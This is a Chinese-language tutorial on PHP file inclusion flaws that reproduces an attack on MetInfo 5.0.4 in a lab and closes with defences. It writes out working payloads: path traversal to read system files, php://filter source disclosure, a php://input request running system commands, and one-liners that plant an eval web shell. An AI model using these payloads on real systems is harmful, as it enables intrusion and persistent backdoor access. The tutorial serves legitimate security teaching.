文件包含漏洞及漏洞复现

文件包含漏洞

1. 文件包含概述

程序开发人员通常会把可重复使用函数或语句写到单个文件中，形成“封装”。在使用某个功能的时候，直接调用此文件，无需再次编写，提高代码重用性，减少代码量。这种调用文件的过程通常称为包含。

程序开发人员都希望代码更加灵活，所以会把被包含的文件的路径设置为变量，来进行动态调用（包含），但正是由于这种灵活性，如果被包含文件的路径客户端可控，造成任意文件包含漏洞。

几乎所有的脚本都会提供文件包含的功能，文件包含漏洞在PHP 的Web 应用中居多，在JSP/ASP/ASP.NET 程序中比较少。

1.1 文件包含语句

PHP提供了四个文件包含的语句，四个语句之间略有不同。

语言区别
include()多次包含，多次执行；
如果包含失败，脚本产生警告，继续运行。
include_once()多次包含，一次执行；
如果包含失败，脚本产生警告，继续运行。
require()多次包含，多次执行；
如果包含失败，脚本产生错误，结束执行。
require_once()多次包含，一次执行；
如果包含失败，脚本产生错误，结束执行。

注意:

文件读取和文件包含的区别：

  • 在任意文件读取的时候，PHP代码没有执行；
  • 文件包含的时候PHP代码执行了。只要包含的文件中有php代码，包含的过程中就会无脑执行PHP代码。

1.1.1 相关配置

查看phpinfo信息

在phpstudy中的www文件下新建file_include文件夹，在file_include中新建include.php

<?php$fp = "../phpinfo.php";include($fp);
?>

image-20230831194948240

文件包含是PHP 的基本功能之一，有本地文件包含与远程文件包含之分。简单来说，本地文件包含就是可以读取和打开本地文件，远程文件包含就是可以远程（方式）加载文件。可以通过php.ini 中的选项进行配置。

allow_url_fopen = On/Off	# 通过远程方式打开文件
allow_url_include = On/Off	# 通过远程方式包含文件

查看phpinfo中的Core中

image-20230831195710388

为了方便实验将两个参数全部改为on

image-20230831195903477

1.2 动态包含

1.2.1 示例代码

// file-include.php
$fp = @$_GET['filepath'];
include $fp;

<?php//$fp = "../phpinfo.php";$fp = @$_GET['filepath'];include($fp);
?>

image-20230831201031151

1.2.2 本地文件包含

本地文件包含（Local File Include，LFI）通过本地路径访问到的文件。

打开F12

?filepath=../phpinfo.php
?filepath=../ll.php

image-20230831201015887

image-20230831201135914

php中最严重的漏洞是文件包含；Java中最严重的漏洞是反序列化

1.2.3 远程文件包含

远程文件包含（Remote File Include，RFI），通过远程路径访问到的文件。

?filepath=http://192.168.16.136/phpinfo.php

image-20230831202044064

1.3 原理和特点

原理

PHP 文件包含是程序设计的基础功能之一，能够减少代码量，提高开发效率。但是使用文件包含功能时，有类似于以上测试代码的设计，实现了动态包含，就有产生文件包含漏洞的风险。如果实现动态包含的参数，Web 应用没有进行严格的校验，浏览器客户端用户可以影响控制被包含文件的路径，就会产生任意文件包含漏洞。

特点

无视文件扩展名读取文件内容。

?filepath=./a.jpg

无条件解析PHP代码，为图片木马提供出路

?filepath=a_yjh_info.jpg

漏洞形成原因总结：

  1. 开启了文件包含功能
  2. 可以动态包含
  3. 浏览器客户端用户可以控制文件路径：完全控制（约等于拿下系统），影响（路径跳转）

2. 文件包含攻防

2.1 利用方法

2.1.1 包含图片木马

菜刀直接链接。

http://10.4.7.130/file-include/file-include.php?filepath=a_yjh_info.jpg

2.1.2 读取敏感文件

利用文件包含漏洞，也可以读取敏感文件。

前提条件：

  • 目标文件存在（已知目标文件路径）；
  • 具有文件可读权限。

具体方法：

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts
封装协议 说明
file://访问本地文件系统
http://访问 HTTP(s) 网址
ftp://访问 FTP(s) URLs
php://访问各个输入/输出流（I/O streams）
zlib://压缩流
data://数据（RFC 2397）
glob://查找匹配的文件路径模式
phar://PHP 归档
ssh2://Secure Shell 2
rar://RAR
ogg://音频流
expect://处理交互式的流

2.1.3 读取PHP文件源码

利用php://fileter读取

?filepath=php://filter/read=convert.base64-encode/resource=[目标文件]

读取结果

PD9waHANCi8vIGZpbGUtaW5jbHVkZS5waHANCg0KJGZwID0gQCRfR0VUWydmaWxlcGF0aCddOw0KQGluY2x1ZGUgJGZwOw==

2.1.4 执行PHP命令

  • 利用php://input 执行PHP 命令；
  • 远程文件包含开启。
POST /file-include/include.php?filepath=php://input HTTP/1.1 Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate Connection: close
Cookie: PHPSESSID=q9lc0vlnggvo7kogh6j01a3582 Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache Content-Length: 18<?php phpinfo();?>
<?php
system('whoami');
?>

2.1.5 包含文件木马写shell

条件：

  • 确定文件包含漏洞存在；
  • 菜刀不能直接连接

写shell

<?php  fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777]);phpinfo();?>')?> <?php file_put_contents('shell.php','<?php @eval($_REQUEST[777])?>')?

利用

http://10.4.7.130/file-include/shell.php

2.1.6 包含日志

Apache日志：

  • 访问日志
  • 错误日志

Nginx 日志：

  • 访问日志
  • 错误日志

SSH 日志

邮件日志

2.2 经典案例

  • metinfo_5.0.4_lfi

    • metinfo5.0.4漏洞分析

  • dvwa_lfi_high_getshell

2.2.1 环境搭建

image-20230831205616611

image-20230831205648590

image-20230831205727797

2.2.2 漏洞点

/about/index.php

传参：

?fmodule=7&module=

2.2.3 漏洞产生原因

文件包含语句：require_once

查看about下index.php文件内容

image-20230831211114848

输出fmodule和module

image-20230831211520790

module是在include/module.php下进行的初始化

控制fmodule的值

image-20230831211815336

image-20230831211909999

在include中的module中搜索 f m o d u l e ，当 fmodule，当 fmodule，当fmodule!=7对$module进行初始化，并且if判断没有else；也就是说当 f m o d u l e = 7 不会对 fmodule=7不会对 fmodule=7不会对module进行初始化。

image-20230831212844766

页面空白是因为index.php在第十行做包含的时候没有$module值

想要显现页面给$module赋值

image-20230831213333164

为$module赋其他的值，证明文件包含成功，文件包含的一大危害是文件读取

module=c:/windows\system32\drivers\etc\hosts

image-20230831213555983

2.2.4 深度利用

  1. 包含图片马使用蚁剑进行连接，在招贤纳士中的在线应聘中有图片上传

image-20230831214101967

上传图片木马

image-20230831214915686

image-20230831215220928

  1. 访问上传文件，并使用蚁剑进行连接

image-20230831215438201

连接失败，因为图片中的一句话木马无法执行

image-20230831215704954

  1. 使用文件包含，访问上传的图片
http://192.168.16.136/MetInfo5.0.4/about/index.php?fmodule=7&module=../upload/file/11.png

image-20230831220005651

使用蚁剑进行连接

image-20230831220053334

image-20230831220434173

2.2.5 读取敏感文件

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts

image-20230831220625711

image-20230831220651470

image-20230831220719782

2.2.6 读取php源码

?fmodule=7&module=php://filter/read=convert.base64-encode/resource=show.php

image-20230831220909426

使用bp进行解密

image-20230831221111165

2.2.7 执行php命令

使用bp抓包，发送重发器将数据包改为post类型

image-20230831221802726

image-20230831222221717

image-20230831222241968

修改php语句就可以执行其他语句了

image-20230831223248016

2.3 文件包含防御

  • 尽量少的使用动态包含；

  • 严格过滤被包含文件的路径；

  • 将参数allow_url_include 设置为Off；

  • 使用参数open_basedir 限定文件访问范围。

open_basedir = c:\phpstudy_2016\www\

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/101752.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

如何查看MySQL的安装位置

如何查看MySQL的安装位置

MySQL的安装位置 1、查看安装目录 参数 路径 解释 备注 --basedir /usr/bin 相关命令目录 mysqladmin mysqldump等命令 --datadir /var/lib/mysql/ mysql 数据库文件的存放路径 --plugin-dir /usr/lib64/mysql/plugin mysql插件存放路径 --log-error …
阅读更多...
投稿指南【NO.12_8】【极易投中】核心期刊投稿（组合机床与自动化加工技术）

投稿指南【NO.12_8】【极易投中】核心期刊投稿（组合机床与自动化加工技术）

近期有不少同学咨询投稿期刊的问题&#xff0c;大部分院校的研究生都有发学术论文的要求&#xff0c;少部分要求高的甚至需要SCI或者多篇核心期刊论文才可以毕业&#xff0c;但是核心期刊要求论文质量高且审稿周期长&#xff0c;所以本博客梳理一些计算机特别是人工智能相关的期…
阅读更多...
pip cryptography 遇到的 OpenSSL 问题

pip cryptography 遇到的 OpenSSL 问题

pip install -r requirements.txt 遇到 bug Collecting cryptography2.7Downloading cryptography-2.7.tar.gz (495 kB)------------------------------------- 495.9/495.9 kB 15.7 MB/s eta 0:00:00Installing build dependencies: startedInstalling build dependencies:…
阅读更多...
深入探讨Kubernetes（K8s）在云原生架构中的关键作用和应用

深入探讨Kubernetes（K8s）在云原生架构中的关键作用和应用

文章目录 1. 容器化的应用程序管理2. 自动化扩展和负载均衡3. 容器编排和调度4. 存储管理5. 自动化滚动更新6. 多云和混合云部署7. 监控和日志8. 安全9. 社区支持和生态系统10. 未来展望案例 &#x1f388;个人主页&#xff1a;程序员 小侯 &#x1f390;CSDN新晋作者 &#x1…
阅读更多...
[刷题记录]牛客面试笔刷TOP101

[刷题记录]牛客面试笔刷TOP101

牛客笔试算法必刷TOP101系列,每日更新中~ 1.合并有序链表2023.9.3 合并两个排序的链表_牛客题霸_牛客网 (nowcoder.com) 题意大致为: 将两个链表中的元素按照从小到大的顺序合并成为一个链表. 所给予的条件: 给出的所要合并的链表都是从小到大顺序排列的. 思路: 创建一…
阅读更多...
python报错ModuleNotFoundError: No module named ‘XXX‘

python报错ModuleNotFoundError: No module named ‘XXX‘

记录一下改神经网络过程中遇到的小bug 在对网络结构进行更改时&#xff0c;不可避免要把别人的文件copy到自己的项目里。这时可能会遇到包导入的错误。正常情况下&#xff0c;导入的包应该大致包括三种方式&#xff1a; 1、导入外部包&#xff0c;如果这里错了就自己去pip ins…
阅读更多...
2023高教社杯数学建模C题思路模型 - 蔬菜类商品的自动定价与补货决策

2023高教社杯数学建模C题思路模型 - 蔬菜类商品的自动定价与补货决策

# 1 赛题 在生鲜商超中&#xff0c;一般蔬菜类商品的保鲜期都比较短&#xff0c;且品相随销售时间的增加而变差&#xff0c; 大部分品种如当日未售出&#xff0c;隔日就无法再售。因此&#xff0c; 商超通常会根据各商品的历史销售和需 求情况每天进行补货。 由于商超销售的蔬菜…
阅读更多...
认识doubbo和rpc

认识doubbo和rpc

开个新坑&#xff0c;和大家一起学习Dubbo 3.X。我们按照一个由浅入深顺序来学习&#xff0c;先从使用Dubbo开始&#xff0c;再深入Dubbo的核心原理。 今天我们就从认识Dubbo开始&#xff0c;整体的内容可以分为3个部分&#xff1a; Dubbo是什么RPC是什么Dubbo的架构 正式开…
阅读更多...
欧洲云巨头OVHcloud收购边缘计算专家 gridscale

欧洲云巨头OVHcloud收购边缘计算专家 gridscale

边缘计算社区近日获悉&#xff0c;欧洲云巨头OVHcloud已进入全面收购德国公司 gridscale 的谈判&#xff0c;该公司是一家专门从事超融合基础设施的软件提供商。 此次战略收购将标志着 OVHcloud 的另一个重要里程碑&#xff0c;使该集团能够显着加速其地理部署&#xff0c;并进…
阅读更多...
mysql 锁解决的办法

mysql 锁解决的办法

可以查看锁的信息,TRX_MYSQL_THREAD_ID 为processlist的表中的会话id,用于kill select trx_id,trx_state,trx_started,trx_requested_lock_id,trx_wait_started,trx_weight,trx_mysql_thread_id,trx_query from innodb_trx 可以查看锁的模式&#xff0c;类型&#xff0c;锁的表…
阅读更多...
0202hdfs的shell操作-hadoop-大数据学习

0202hdfs的shell操作-hadoop-大数据学习

文章目录 1 进程启停管理2 文件系统操作命令2.1 HDFS文件系统基本信息2.2 介绍2.3 创建文件夹2.4 查看指定文件夹下的内容2.5 上传文件到HDFS2.6 查看HDFS文件内容2.7 下载HDFS文件2.8 HDFS数据删除操作 3 HDFS客户端-jetbrians产品插件3.1 Big Data Tools 安装3.2 配置windows…
阅读更多...
【FusionInsight 迁移】HBase从C50迁移到6.5.1（01）迁移概述

【FusionInsight 迁移】HBase从C50迁移到6.5.1（01）迁移概述

【FusionInsight 迁移】HBase从C50迁移到6.5.1&#xff08;01&#xff09;迁移概述 HBase从C50迁移到6.5.1&#xff08;01&#xff09;迁移概述迁移范围迁移前的准备HDFS文件检查确认HBase迁移目录确保数据落盘停止老集群HBase服务停止新集群HBase服务 HBase从C50迁移到6.5.1&a…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023